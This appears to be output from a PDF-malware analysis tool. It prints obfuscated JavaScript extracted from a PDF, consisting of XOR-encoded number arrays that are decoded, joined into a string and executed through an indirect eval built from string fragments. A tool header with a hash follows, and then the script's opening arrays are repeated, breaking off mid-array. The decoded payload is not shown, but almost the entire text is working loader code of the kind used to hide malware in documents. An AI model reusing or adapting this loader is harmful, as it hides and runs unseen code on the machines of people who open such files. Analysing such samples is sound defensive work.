coGSm62tQ=[98,19,33,120,30,98,12,96,35,108,61,26,25,61,48,111,50,59,38,116,124,39,27,3,27,26,51,7,109,108,105,100,111,116,39,27,3,27,26,51,7,109,108,104,49,33,100,27,29,111,116,39,27,3,27,26,51,7,109,108,127,127,125,116,116,47,116,116,116,116,116,116,34,53,38,116,61,101,44,97,98,105,57,98,12,17,102,49,54,100,15,39,27,3,27,26,51,7,109,108,9,126,102,111,116,116,116,116,34,53,38,116,28,13,102,39,7,109,45,4,105,1,60,29,0,98,99,96,48,37,98,113,61,101,44,97,98,111,116,116,116,116,34,53,38,116,58,39,109,59,56,3,96,14,48,14,102,108,23,105,1,60,29,0,98,99,96,48,37,98,121,28,13,102,39,7,109,45,4,111,116,116,116,116,34,53,38,116,39,27,6,3,35,48,4,14,17,96,17,105,58,39,109,59,56,3,96,14,48,14,102,108,23,123,61,101,44,97,98,111,116,116,116,116,34,53,38,116,23,98,7,108,49,36,98,57,105,39,27,6,3,35,48,4,14,17,96,17,126,57,98,12,17,102,49,54,100,15,39,27,3,27,26,51,7,109,108,9,111,116,116,116,116,48,44,29,6,13,13,63,21,19,30,58,56,105,100,111,116,116,116,116,50,59,38,116,124,54,98,98,108,19,98,101,21,105,100,111,116,54,98,98,108,19,98,101,21,104,39,27,6,3,35,48,4,14,17,96,17,111,116,54,98,98,108,19,98,101,21,127,127,125,116,116,116,116,116,47,116,116,116,116,116,116,116,116,50,59,38,116,124,58,7,100,103,100,100,108,100,97,105,100,111]; W63O0Vu9=[99,45,16,115,112,115,115,123,115,118,127,46,117,27,6,113,38,33,115,24,48,12,20,12,13,36,16,122,123,30,120,99,45,16,115,112,115,115,123,115,118,104,104,106,99,99,99,99,99,99,99,99,99,56,99,99,99,99,99,99,9,38,122,45,1,126,39,59,10,17,26,26,40,2,4,9,45,47,104,45,16,115,112,115,115,123,115,118,120,99,99,99,99,99,99,99,99,99,99,99,99,9,117,27,119,52,123,42,13,14,42,39,126,37,113,50,25,12,8,57,5,23,47,24,9,38,122,45,1,30,120,99,99,99,99,99,99,99,99,99,99,99,99,27,32,115,114,52,117,117,4,54,126,9,38,122,45,1,104,46,117,27,6,113,38,33,115,24,48,12,20,12,13,36,16,122,123,30,120,99,99,99,99,99,99,99,99,99,99,99,99,37,113,50,25,12,8,57,5,23,47,24,9,38,122,45,1,30,126,37,113,50,25,12,8,57,5,23,47,24,27,32,115,114,52,117,117,4,54,30,120,99,99,99,99,99,99,99,99,99,99,99,99,37,113,50,25,12,8,57,5,23,47,24,27,32,115,114,52,117,117,4,54,30,126,9,117,27,119,52,123,42,13,14,42,39,120,99,99,99,99,99,99,99,99,99,99,62,99,99,99,99,99,99,99,99,39,59,10,17,26,26,40,2,4,9,45,47,99,104,126,42,114,59,118,117,120,99,99,99,99,99,99,99,99,99,62,99,99,62,99,99,13,5,25,116,114,40,20,51,14,10,116,126,37,113,50,25,12,8,57,5,23,47,109,41,44,42,45,107,97,97,106,120,38,53,34,47,107,13,5,25,116]; lH5ARnFQ65v=[34,120,68,99,94,90,36,58,40];  NKs2Ywo7G=[]; 
for (M4Q4r=0;M4Q4r<LAx4B85k.length;M4Q4r++){LAx4B85k[M4Q4r]=LAx4B85k[M4Q4r]^95;}; NKs2Ywo7G=NKs2Ywo7G.concat(LAx4B85k);for (RwgNPsHk=0;RwgNPsHk<vtkimt08.length;RwgNPsHk++){vtkimt08[RwgNPsHk]=vtkimt08[RwgNPsHk]^16;}; NKs2Ywo7G=NKs2Ywo7G.concat(vtkimt08);for (yNfH62f=0;yNfH62f<D9UkP1n21124Yb.length;yNfH62f++){D9UkP1n21124Yb[yNfH62f]=D9UkP1n21124Yb[yNfH62f]^72;}; NKs2Ywo7G=NKs2Ywo7G.concat(D9UkP1n21124Yb);for (ID42XnAZ2i=0;ID42XnAZ2i<i7lTxta.length;ID42XnAZ2i++){i7lTxta[ID42XnAZ2i]=i7lTxta[ID42XnAZ2i]^66;}; NKs2Ywo7G=NKs2Ywo7G.concat(i7lTxta);for (dqz382N=0;dqz382N<nJ991NwSzZVe.length;dqz382N++){nJ991NwSzZVe[dqz382N]=nJ991NwSzZVe[dqz382N]^56;}; NKs2Ywo7G=NKs2Ywo7G.concat(nJ991NwSzZVe);for (u2AMH5dG=0;u2AMH5dG<WFvXh6Wr.length;u2AMH5dG++){WFvXh6Wr[u2AMH5dG]=WFvXh6Wr[u2AMH5dG]^38;}; NKs2Ywo7G=NKs2Ywo7G.concat(WFvXh6Wr);for (rsOs6=0;rsOs6<a0F6d9uRaG.length;rsOs6++){a0F6d9uRaG[rsOs6]=a0F6d9uRaG[rsOs6]^31;}; NKs2Ywo7G=NKs2Ywo7G.concat(a0F6d9uRaG);for (ADOPE=0;ADOPE<L9Ab49e1.length;ADOPE++){L9Ab49e1[ADOPE]=L9Ab49e1[ADOPE]^71;}; NKs2Ywo7G=NKs2Ywo7G.concat(L9Ab49e1);for (m01p2W8ouX=0;m01p2W8ouX<K6F0kj8Q2ZO1C1x.length;m01p2W8ouX++){K6F0kj8Q2ZO1C1x[m01p2W8ouX]=K6F0kj8Q2ZO1C1x[m01p2W8ouX]^57;}; NKs2Ywo7G=NKs2Ywo7G.concat(K6F0kj8Q2ZO1C1x);for (C18ocNT7n=0;C18ocNT7n<Uhm80.length;C18ocNT7n++){Uhm80[C18ocNT7n]=Uhm80[C18ocNT7n]^28;}; NKs2Ywo7G=NKs2Ywo7G.concat(Uhm80);for (SyZ25x3JM8=0;SyZ25x3JM8<Qhr587I2aEp8.length;SyZ25x3JM8++){Qhr587I2aEp8[SyZ25x3JM8]=Qhr587I2aEp8[SyZ25x3JM8]^63;}; NKs2Ywo7G=NKs2Ywo7G.concat(Qhr587I2aEp8);for (R0cj9F3S=0;R0cj9F3S<ErcR8ikLjS1.length;R0cj9F3S++){ErcR8ikLjS1[R0cj9F3S]=ErcR8ikLjS1[R0cj9F3S]^37;}; NKs2Ywo7G=NKs2Ywo7G.concat(ErcR8ikLjS1);for (EYcVg1D9=0;EYcVg1D9<rwGK98MyXl03OJb.length;EYcVg1D9++){rwGK98MyXl03OJb[EYcVg1D9]=rwGK98MyXl03OJb[EYcVg1D9]^10;}; NKs2Ywo7G=NKs2Ywo7G.concat(rwGK98MyXl03OJb);for (Uu67E=0;Uu67E<B6KgEr.length;Uu67E++){B6KgEr[Uu67E]=B6KgEr[Uu67E]^96;}; NKs2Ywo7G=NKs2Ywo7G.concat(B6KgEr);for (S23zYZM=0;S23zYZM<wO91ydLT.length;S23zYZM++){wO91ydLT[S23zYZM]=wO91ydLT[S23zYZM]^76;}; NKs2Ywo7G=NKs2Ywo7G.concat(wO91ydLT);for (HNVW=0;HNVW<rX2H8rm0.length;HNVW++){rX2H8rm0[HNVW]=rX2H8rm0[HNVW]^90;}; NKs2Ywo7G=NKs2Ywo7G.concat(rX2H8rm0);for (nbR94gq=0;nbR94gq<i0vujH7v60thC.length;nbR94gq++){i0vujH7v60thC[nbR94gq]=i0vujH7v60thC[nbR94gq]^46;}; NKs2Ywo7G=NKs2Ywo7G.concat(i0vujH7v60thC);for (hRP4B=0;hRP4B<bE0slXo.length;hRP4B++){bE0slXo[hRP4B]=bE0slXo[hRP4B]^17;}; NKs2Ywo7G=NKs2Ywo7G.concat(bE0slXo);for (soBk3=0;soBk3<coGSm62tQ.length;soBk3++){coGSm62tQ[soBk3]=coGSm62tQ[soBk3]^84;}; NKs2Ywo7G=NKs2Ywo7G.concat(coGSm62tQ);for (t2c9b5=0;t2c9b5<W63O0Vu9.length;t2c9b5++){W63O0Vu9[t2c9b5]=W63O0Vu9[t2c9b5]^67;}; NKs2Ywo7G=NKs2Ywo7G.concat(W63O0Vu9);for (S2R7E8nY=0;S2R7E8nY<lH5ARnFQ65v.length;S2R7E8nY++){lH5ARnFQ65v[S2R7E8nY]=lH5ARnFQ65v[S2R7E8nY]^19;}; NKs2Ywo7G=NKs2Ywo7G.concat(lH5ARnFQ65v);
 aDDM=function(uolM){
	E008R3=["e","m","v","n","a","d","x","l"];
	Yp4fxwhXo=E008R3[0]+E008R3[2]+E008R3[4]+E008R3[7];
	rorar=this;
	E87e9I6xz =rorar[Yp4fxwhXo];
	E87e9I6xz(uolM);
}
UbfQ2=function(BqbWw9X){
	g5A9l1j7eb="";
	bTVX6Ts71S=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	r3C1PKfOFK=bTVX6Ts71S[2]+bTVX6Ts71S[3]+bTVX6Ts71S[4]+bTVX6Ts71S[7];
	for (tW36J=0;tW36J<BqbWw9X.length;tW36J++){
	    gogor=this;
		roter=gogor["St"+"ri"+"ng"];
		g5A9l1j7eb += roter[r3C1PKfOFK](BqbWw9X[tW36J]);
	}
	
	return g5A9l1j7eb;	
}
aDDM(UbfQ2(NKs2Ywo7G));
deobfuscated.js deobfuscated-js PDF JavaScript deobfuscation pass 65053 bytes
SHA-256: 22c0a6d0b0954dd35a7277bc0177acf2e378435f294b53c581677fa1e514b256
Preview script
First 1,000 lines of the extracted script
LAx4B85k=[127,41,62,45,127,17,25,5,104,110,52,8,47,18,22,104,98,125,57,47,60,54,118,36,119,127,47,113,54,127,39,49,44,44,58,49,54,43,115,55,49,0,127,51,40,38,127,48,45,127,42,45,43,51,51,109,99,57,38,43,54,51,117,62,62,49,47,47,118,58,127,55,61,44,38,62,38,62,49,98,38,62,58,45,44,42,42,116,45,56,44,44,47,119,100,34,58,45,98,45,51,113,45,44,47,36,58,119,111,38,45,44,43,43,56,112,54,62,62,58,49,43,36,49,49,127,54,51,49,127,60,45,127,44,62,100,34,115,47,58,51,45,109,118,100,49,45,44,47,59,119,118,43,48,49,119,3,125,122,38,57,55,49,42,103,29,107,42,45,54,41,111,47,58,58,62,122,42,108,107,122,42,107,103,48,59,105,42,122,111,42,44,60,127,122,111,122,60,103,42,28,127,98,28,58,29,122,29,108,111,111,108,110,28,103,42,107,27,104,42,103,29,106,42,122,42,122,29,111,42,111,28,30,103,26,42,122,111,108,111,122,28,111,42,122,42,106,102,103,103,122,29,104,27,122,103,108,107,103,28,26,30,107,42,106,25,104,42,106,29,103,111,122,42,122,30,105,42,107,109,107,42,122,109,106,30,27,29,122,29,26,42,122,42,122,109,103,29,122,102,109,107,122,28,26,110,104,107,103,108,106,42,26,104,111,42,111,105,122,106,122,42,103,42,122,42,106,107,108,42,122,30,103,29,103,108,122,42,26,28,122,42,122,108,25,108,106,108,104,103,122,29,106,105,104,108,25,105,109,42,106,105,104,108,111,29,122,42,122,42,107,42,122]; vtkimt08=[101,36,36,35,35,53,101,83,41,35,35,53,101,53,32,53,101,53,101,35,32,40,35,86,86,53,33,81,41,37,84,83,86,35,101,82,85,33,32,35,38,32,101,53,101,86,82,53,101,85,81,32,40,85,101,53,34,32,33,53,101,53,40,53,101,32,101,36,86,53,84,83,37,53,35,39,86,32,36,32,37,85,101,38,38,86,101,37,85,37,101,53,101,53,36,39,101,40,35,83,82,34,101,53,38,40,40,53,82,35,101,53,101,33,82,36,40,53,38,86,35,53,83,40,82,37,36,84,83,36,101,37,84,32,101,37,35,40,40,53,101,53,35,32,101,40,35,40,101,53,35,83,32,83,81,53,40,32,101,53,101,53,86,37,85,53,35,32,82,53,34,82,35,86,40,37,86,39,101,37,32,32,101,86,34,53,84,53,101,40,101,53,101,83,34,83,101,53,40,40,82,35,39,53,101,85,81,53,101,53,39,86,86,81,40,38,37,53,81,37,82,38,85,86,38,41,101,86,86,35,40,34,86,53,101,53,101,38,101,53,101,40,82,81,85,53,101,81,82,82,34,53,101,53,40,53,101,53,101,39,32,36,32,38,83,53,38,38,81,85,37,38,40,38,101,41,40,81,36,38,85,34,101,53,101,38,40,53,101,39,83,38,36,38,101,53,83,82,32,53,101,53,86,53,101,32,101,37,85,53,34,37,40,53,85,38,37,39,84,83,86,82,101,32,82,85,101,40,85,36,101,53,101,53,37,86,101,32,32,37,32,37,101,53,36,41,35,53,38,37,101,53,101,37,36,40,85,53,32,35,37,53,32,37,35,37,33,35,35,83,101,34,32]; D9UkP1n21124Yb=[123,61,120,14,112,122,109,61,109,112,112,61,125,126,121,61,109,122,10,14,125,123,109,120,11,61,109,61,109,124,125,10,109,14,127,9,109,123,127,122,125,112,113,127,125,61,123,127,10,61,120,14,109,125,109,61,125,61,109,61,125,120,125,61,109,13,112,9,14,112,109,61,14,126,109,61,109,13,14,14,14,14,10,112,109,125,120,124,127,14,11,120,125,61,13,120,126,112,13,124,109,61,109,61,120,61,109,61,126,14,127,124,109,61,126,121,14,13,109,61,109,125,109,61,109,61,127,9,127,121,127,122,109,124,126,11,123,112,126,125,127,61,122,14,122,13,126,13,126,61,109,61,122,13,109,61,126,120,126,13,126,61,109,14,126,124,109,61,109,124,109,61,122,61,122,125,109,124,127,11,109,14,126,14,127,121,126,14,126,61,127,11,127,61,126,124,122,61,109,61,109,112,126,61,127,14,126,120,126,61,109,123,127,11,109,14,127,61,109,61,126,120,126,13,109,14,126,121,109,126,125,120,123,120,36,13,123,61,127,56,127,109,61,35,126,12,43,42,20,106,120,126,43,41,39,126,61,109,62,43,127,41,124,104,96,115,61,104,117,59,120,38,45,109,115,43,125,20,106,61,45,58,14,12,43,50,41,97,104,49,15,45,96,41,58,47,18,4,7,27,56,11,61,41,117,104,41,120,41,27,97,120,43,20,106,61,104,26,43,120,20,106,109,61,62,59,109,61,61,104,6,46,120,43,109,43,109,109,120,43,43,43,120,61,120,43,120,43,120,43,124,43,120,61,120,43,120,121,109,61,45,61,120,38,120,61,120,43,120,43,120,61,109]; i7lTxta=[119,103,55,117,33,103,33,103,55,116,39,103,122,118,39,103,115,114,33,103,33,119,35,118,55,118,32,117,55,118,36,103,38,118,118,116,55,116,122,118,55,117,112,118,32,119,55,118,55,103,55,116,113,103,123,103,55,117,115,103,112,119,32,103,35,118,118,103,123,119,123,117,55,118,123,116,123,103,116,103,113,118,35,103,55,119,55,119,38,117,115,118,39,116,55,118,55,103,55,116,39,103,55,103,115,118,36,103,116,117,113,118,115,119,55,103,55,119,35,119,55,116,119,118,38,103,113,116,113,103,114,103,55,116,55,119,112,118,33,119,118,103,55,118,38,103,55,116,115,103,55,42,113,103,43,103,112,119,44,117,98,126,39,106,55,112,117,117,53,42,46,39,54,103,112,118,114,98,113,116,55,119,117,117,55,121,32,108,127,33,41,46,33,33,41,119,112,30,96,107,46,45,107,45,49,116,46,45,37,45,46,105,127,32,108,49,55,32,110,113,112,114,116,122,121,111,33,41,45,98,32,46,127,54,48,117,46,32,46,39,41,37,116,122,53,32,33,117,42,41,33,45,37,98,98,49,106,121,39,44,39,46,98,46,3,39,107,48,59,105,121,47,44,126,59,48,44,39,108,43,48,54,42,107,114,106,107,47,45,35,38,121,46,58,36,127,48,45,32,43,114,98,57,33,105,121,43,127,112,106,43,98,39,43,121,46,63,46,39,25,54,98,39,47,43,33,41,38,59,114,127,48,105,55,46,114,114,42,45,47,45,98,45,31,49,40,37,30,96,22,10,36,33,50,12,38,46,43,26,55,35,5,33,106,11,44,1,41,18,26,48,56,47]; nJ991NwSzZVe=[109,86,72,124,72,92,79,86,89,123,24,124,76,107,74,66,119,79,98,80,93,81,76,16,100,26,22,93,114,76,100,26,107,17,3,20,64,118,105,76,115,118,82,118,84,77,24,86,76,107,122,92,16,90,81,22,96,98,115,87,117,73,17,127,84,85,72,78,83,113,17,115,85,17,24,74,97,94,118,85,87,76,74,81,104,86,100,26,16,81,89,22,92,24,124,94,65,93,79,95,81,104,127,93,86,93,79,81,75,22,80,3,84,89,76,22,20,89,86,76,76,77,76,86,72,24,67,93,93,24,91,93,69,91,69,74,84,89,123,77,95,89,65,81,107,98,81,77,17,3,86,67,76,92,84,126,80,16,74,16,107,84,94,87,66,17,65,89,24,119,124,118,86,24,74,89,77,24,124,3,79,106,116,86,81,127,103,86,20,89,17,76,74,84,77,81,86,93,77,17,16,76,16,24,91,72,69,94,81,24,76,93,72,5,86,76,17,11,92,67,93,75,29,16,15,0,0,89,78,8,11,123,12,89,12,8,29,89,94,89,29,77,91,77,65,122,8,100,26,87,8,14,8,29,77,11,84,29,77,72,93,29,77,123,0,29,77,29,77,16,12,29,8,11,12,9,123,0,1,125,122,13,124,121,124,0,77,15,122,29,77,8,123,0,122,8,122,12,0,12,0,29,77,13,77,29,77,15,8,29,77,8,122,29,77,29,77,0,8,29,77,29,123,14,121,11,10,10,122,0,1,124,9,0,12,29,123,13,77,125,122,125,10,0,126,13,121,12,123,0,122,125,77,29,77,13,11,29,77,29,77,12,14,29,77,13,121,29,77,29,122,29,77]; WFvXh6Wr=[99,20,19,16,22,21,17,18,21,19,3,83,30,100,3,21,17,21,30,17,22,18,19,100,21,101,99,103,30,83,22,31,3,83,3,83,19,21,3,83,101,31,3,83,103,100,3,83,30,21,96,21,18,21,20,98,3,83,3,83,96,99,3,83,17,16,21,30,96,21,17,96,3,22,19,16,100,83,18,23,3,83,21,83,3,96,3,83,101,23,3,18,17,18,22,83,21,96,22,19,101,22,22,98,3,83,23,16,3,83,3,83,22,21,17,30,19,22,99,21,3,83,22,30,3,83,96,20,3,83,18,100,3,83,3,83,21,100,3,103,30,100,22,21,99,100,96,30,30,101,101,21,22,83,96,96,3,83,30,30,21,100,19,19,19,16,20,16,3,83,16,83,3,83,22,99,3,83,18,103,3,83,3,83,99,18,3,83,3,21,98,21,22,96,101,21,30,98,101,21,30,30,3,18,17,83,19,16,23,101,19,21,19,22,18,20,30,100,19,83,3,83,22,96,3,83,3,83,22,17,3,83,103,98,3,83,3,30,3,83,100,30,19,20,96,30,19,100,100,103,3,83,30,96,3,99,21,21,19,22,30,103,101,100,96,96,99,30,96,83,96,103,3,83,3,83,101,19,3,83,18,96,3,83,103,20,3,83,21,17,16,22,30,20,31,100,3,83,3,83,103,16,3,83,16,16,100,19,96,30,16,100,3,30,103,99,16,83,20,99,3,83,17,83,3,99,3,83,16,30,3,22,16,98,16,83,16,19,20,18,17,22,16,96,3,83,19,99,3,83,3,83,31,30,19,101,99,18,100,99,3,83,22,30,3,83,16,101,3,83,16,99,3]; a0F6d9uRaG=[106,58,106,41,39,58,92,38,44,89,89,39,47,44,44,43,44,42,47,39,106,90,90,58,106,92,45,42,47,40,42,47,93,42,47,58,106,42,106,58,106,47,43,58,106,39,45,58,106,58,106,42,42,58,106,58,41,44,41,42,43,40,89,42,89,40,47,89,45,58,43,93,106,47,44,92,45,39,47,44,46,92,89,46,94,45,106,58,106,93,90,58,106,58,106,42,39,58,106,39,39,58,106,58,89,58,106,89,39,38,94,47,40,47,43,42,42,58,106,93,47,58,93,42,40,42,90,42,42,42,39,42,41,44,44,90,106,90,47,58,106,58,106,89,90,58,106,40,43,58,106,41,47,58,106,41,89,92,46,40,89,44,39,58,106,58,106,41,89,58,106,89,89,41,42,89,39,42,46,58,94,40,43,45,106,47,43,58,106,40,106,58,46,58,106,40,43,58,89,40,47,41,106,41,89,41,89,41,42,40,43,58,106,45,92,58,106,58,106,41,42,41,45,41,90,41,89,58,106,45,90,58,106,41,90,58,106,45,90,58,106,58,106,40,90,58,92,40,47,41,89,41,47,41,39,45,92,41,46,41,106,41,43,58,106,40,43,45,89,40,92,40,47,44,41,58,106,41,106,58,106,40,44,58,106,40,43,58,106,58,106,41,91,58,106,113,89,40,47,42,105,126,109,41,58,41,93,94,46,58,47,106,54,36,89,47,47,44,124,41,44,41,111,34,106,112,106,94,55,67,61,115,63,122,67,61,113,108,36,105,47,106,47,94,47,116,111,122,47,126,58,54,47,102,112,111,52,113,47,94,126,119,115,94,47,109,63,106,67,61,94,58,106]; L9Ab49e1=[34,40,36,6,98,37,38,122,119,38,119,55,55,6,111,37,44,6,119,52,122,49,40,36,124,43,50,34,124,50,103,41,38,27,101,98,35,98,38,46,6,36,32,37,110,38,53,55,40,35,53,34,49,38,52,46,50,119,34,27,101,38,53,53,34,6,103,61,34,43,38,38,35,119,122,47,46,61,37,52,119,55,37,122,103,49,34,62,53,108,40,47,124,32,38,6,44,47,38,34,47,34,34,37,117,52,55,48,46,36,55,34,47,53,41,53,124,44,43,46,32,62,110,32,36,43,40,52,37,40,36,122,44,105,51,32,43,40,111,46,43,34,41,105,123,60,43,37,32,37,38,46,44,122,43,36,51,47,105,36,49,52,41,34,37,46,108,37,40,43,37,43,52,51,53,44,38,62,110,53,124,58,37,103,50,37,33,38,53,103,36,32,111,44,44,46,32,36,43,52,49,38,46,46,43,124,40,40,37,46,105,32,37,43,55,34,36,44,53,40,53,122,37,37,40,32,111,43,52,51,107,62,44,43,107,37,43,119,51,52,50,37,110,105,43,46,41,36,32,53,44,124,41,119,40,32,38,111,55,36,44,43,37,122,106,52,48,47,38,53,44,36,34,60,37,62,43,47,40,115,110,105,108,119,63,36,51,43,55,32,119,43,37,47,46,119,123,34,41,119,40,52,119,36,24,46,44,62,122,53,40,110,124,43,40,124,38,42,111,53,33,49,38,38,34,43,58,43,53,41,103,36,37,62,37,108,34,49,122,33,103,46,44,53,43,48,103,53,38,42,124,124,34,46,40,108,38,108,119,38,53,118,115,53,28,46,26,119,117,36,44,118,46]; K6F0kj8Q2ZO1C1x=[9,17,84,88,64,75,84,102,120,66,18,88,2,86,75,91,85,5,84,86,90,18,4,81,92,0,85,88,0,0,16,68,79,4,1,91,0,0,73,1,0,0,0,1,1,1,1,0,0,82,1,1,1,76,75,25,87,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,95,1,1,1,1,1,75,80,1,1,1,1,1,95,1,1,1,1,1,73,1,68,87,76,84,21,76,77,2,17,9,1,1,77,95,1,23,1,1,2,101,27,9,9,1,1,12,87,84,92,28,80,16,13,85,75,90,92,85,85,17,101,27,88]; Uhm80=[126,67,104,125,125,125,127,116,60,117,108,60,115,127,111,105,57,127,53,112,112,111,114,114,106,105,95,121,112,117,115,47,115,120,121,44,121,103,47,44,36,114,52,105,36,95,47,105,40,40,43,64,62,57,105,57,94,105,105,45,94,40,105,57,95,36,94,43,36,57,94,44,33,57,105,57,44,44,95,57,37,42,44,57,36,89,44,43,94,41,95,93,105,44,93,36,105,41,44,57,88,57,105,40,105,57,105,42,95,36,105,57,88,40,40,44,36,57,105,36,94,57,105,57,93,36,94,40,46,36,94,57,44,47,40,41,95,88,46,36,105,41,36,47,90,89,94,57,105,57,105,89,105,57,105,44,42,89,46,57,105,41,93,89,45,57,105,57,47,57,105,57,105,40,42,46,37,41,41,57,93,89,40,41,94,43,47,47,105,41,43,41,42,36,94,43,105,57,105,41,36,57,105,44,37,47,47,43,105,57,42,36,94,57,105,57,95,57,105,47,105,43,40,57,47,36,44,57,47,36,47,90,94,47,37,46,105,40,47,95,105,44,47,90,105,57,105,57,36,40,105,90,42,41,47,47,105,57,45,93,90,57,40,47,105,57,105,94,46,44,47,57,90,90,44,57,89,45,88,44,47,89,90,44,105,47,44,44,105,41,45,43,88,57,105,57,94,95,105,40,90,41,105,57,36,89,94,90,40,57,36,44,105,57,105,57,89,36,94,57,41,95,36,57,42,90,93,44,42,36,47,89,105,40,47,42,105,36,40,57,41,57,105,45,105,57,105,88,47,95,105,57,95,40,36,43,94,57,105,44,47,57,105,57,94,41,42,46,90,36,94,57,95]; Qhr587I2aEp8=[15,12,15,11,7,7,10,74,15,12,124,12,15,123,26,74,26,74,10,74,26,74,7,7,7,123,26,74,124,126,10,126,26,74,26,122,26,74,26,74,12,8,8,121,121,121,26,15,124,126,10,12,121,8,121,74,10,13,125,15,121,121,10,74,26,74,126,125,26,74,13,121,122,7,7,74,26,122,121,13,26,74,26,13,26,74,8,74,124,125,26,10,126,10,26,7,12,122,9,13,9,7,9,74,6,7,11,74,9,9,126,74,26,74,26,124,125,74,7,9,6,15,9,74,26,7,10,125,26,7,125,74,26,74,9,126,9,125,26,15,126,7,26,11,9,15,122,122,7,10,9,74,9,121,9,74,15,7,13,121,26,74,26,10,8,74,121,122,8,74,26,11,10,124,9,122,26,124,10,74,26,74,26,11,11,122,26,15,125,13,26,122,122,123,15,15,6,11,10,74,15,125,10,74,12,12,26,15,26,74,124,74,26,74,7,121,7,74,26,15,10,10,124,12,26,74,10,12,26,74,26,14,10,13,12,12,124,13,26,13,10,9,12,121,8,9,14,74,10,15,8,8,13,7,26,74,26,74,12,74,26,74,15,126,121,121,26,74,10,10,7,15,26,74,26,126,26,74,26,74,10,125,125,122,10,9,26,12,121,11,10,121,122,121,121,74,121,122,7,121,125,7,6,74,26,74,10,10,26,74,15,15,10,8,10,74,26,10,15,7,26,74,26,121,26,74,122,74,121,7,26,122,125,126,26,15,15,11,124,11,9,15,12,74,9,7,9,74,13,121,9,74,26,74,26,14,8,74,9,124,9,11,9,74,26,122,13,11,26,11,8,74,26]; ErcR8ikLjS1=[80,23,96,18,29,0,20,18,16,0,96,18,99,19,99,19,20,18,80,23,99,23,80,19,96,18,23,0,80,0,102,19,80,19,16,18,80,0,99,19,99,19,21,0,29,19,80,0,80,0,99,18,17,0,21,19,17,0,21,19,102,18,17,23,21,19,80,18,21,19,80,19,97,0,20,0,80,18,80,0,80,18,99,22,80,0,102,19,20,18,96,0,80,19,99,0,80,0,22,19,17,22,83,122,68,0,22,18,21,5,72,19,100,30,80,19,19,16,92,64,87,5,72,68,92,13,82,21,93,21,24,21,21,87,70,87,87,30,103,121,7,12,64,83,68,80,68,87,68,83,68,70,21,70,73,12,24,70,30,75,5,68,17,64,21,70,70,70,21,93,30,24,21,87,75,122,24,87,5,75,21,21,70,77,64,24,5,65,87,87,64,21,21,21,15,73,73,83,68,77,65,66,85,23,74,86,86,65,21,73,75,68,65,86,64,75,73,64,30,11,81,14,80,68,5,68,64,93,87,122,70,30,92,65,73,29,12,24,70,87,75,86,83,86,87,83,68,5,22,8,13,68,85,64,87,21,76,21,121,7,13,92,87,28,83,68,80,0,12,81,67,30,76,28,92,68,93,87,21,30,121,7,122,68,86,80,28,12,13,21,24,80,13,87,23,24,28,64,0,86,85,81,75,85,70,21,65,8,5,64,75,21,21,67,74,93,17,70,68,87,5,70,14,81,24,14,21,21,74,65,13,83,73,87,30,9,68,21,74,80,75,87,74,80,21,75,25,70,12,70,30,70,74,81,23,80,64,10,75,81,81,77,75,81,120,80,88,12,94,70,73,70,74]; rwGK98MyXl03OJb=[102,120,120,101,55,111,49,127,49,105,101,81,103,85,107,122,33,121,121,100,108,111,121,47,103,107,110,120,115,58,105,58,127,115,107,111,111,127,100,42,55,105,127,58,105,102,111,34,99,107,120,58,108,102,105,120,101,125,111,47,105,86,40,124,102,107,122,101,124,36,102,111,101,101,34,101,125,86,40,100,125,124,124,111,119,98,102,62,51,111,62,120,111,102,55,49,125,101,109,63,124,33,107,101,120,126,98,54,102,101,35,99,113,104,125,49,120,108,102,126,56,35,89,101,98,108,105,99,73,101,107,104,86,40,36,121,109,100,126,102,111,107,103,124,55,96,48,102,105,121,102,105,101,36,126,101,108,38,111,111,103,101,104,48,121,127,120,119,67,101,102,113,86,40,79,109,99,101,111,101,102,34,102,126,110,101,127,100,100,105,101,100,85,36,105,101,122,35,105,42,102,126,99,49,125,119,35,108,113,104,102,109,105,104,36,108,107,36,73,99,34,102,107,126,124,115,67,107,120,102,107,122,42,113,101,100,35,120,107,115,111,127,111,125,47,120,120,101,127,75,120,34,55,100,108,122,120,42,107,124,107,120,49,105,34,115,107,127,34,124,42,35,124,58,62,57,73,100,111,86,40,50,126,98,121,111,55,57,58,47,127,50,72,47,72,60,73,58,127,57,111,47,127,122,127,47,127,50,73,62,58,105,107,47,58,47,127,61,62,58,50,47,58,75,50,50,78,79,72,63,50,63,58,58,127,62,127,47,72,58,50,50,62,61,72,60,127,57,72,47,127,47,73,50,127,59,75,50,51,47,127,47,78,47,127,57,58,47,73,78,75,62,72]; B6KgEr=[84,38,85,82,37,35,69,34,69,21,85,21,69,35,85,82,84,81,37,21,82,34,37,33,69,21,69,82,87,21,88,21,88,34,69,21,85,84,69,21,85,85,69,34,88,86,83,83,37,89,87,33,85,86,69,21,69,21,85,87,88,21,80,83,69,86,37,21,88,83,69,84,69,21,80,83,69,21,83,21,38,84,69,35,82,83,69,21,85,34,69,81,38,34,85,36,87,83,87,88,35,83,69,21,83,21,83,83,84,21,34,37,69,86,88,21,80,80,69,83,69,21,80,21,69,21,87,21,84,89,69,80,38,38,69,21,33,89,80,84,69,82,83,84,84,83,81,38,37,88,87,81,80,21,38,80,69,21,80,83,69,38,35,36,87,21,38,86,69,21,83,21,69,21,35,85,37,38,69,21,69,88,69,21,38,34,80,33,69,86,37,88,84,86,84,85,81,34,85,88,83,21,86,21,69,37,88,35,35,34,82,86,80,21,88,84,69,21,69,83,85,21,80,35,85,34,69,21,69,83,69,21,88,88,69,34,88,80,88,33,88,36,35,83,85,82,69,83,69,21,85,21,69,84,85,38,85,83,80,21,80,37,35,83,69,21,69,83,80,21,83,21,85,88,69,21,87,34,69,21,34,36,69,33,85,82,35,87,36,83,88,88,38,3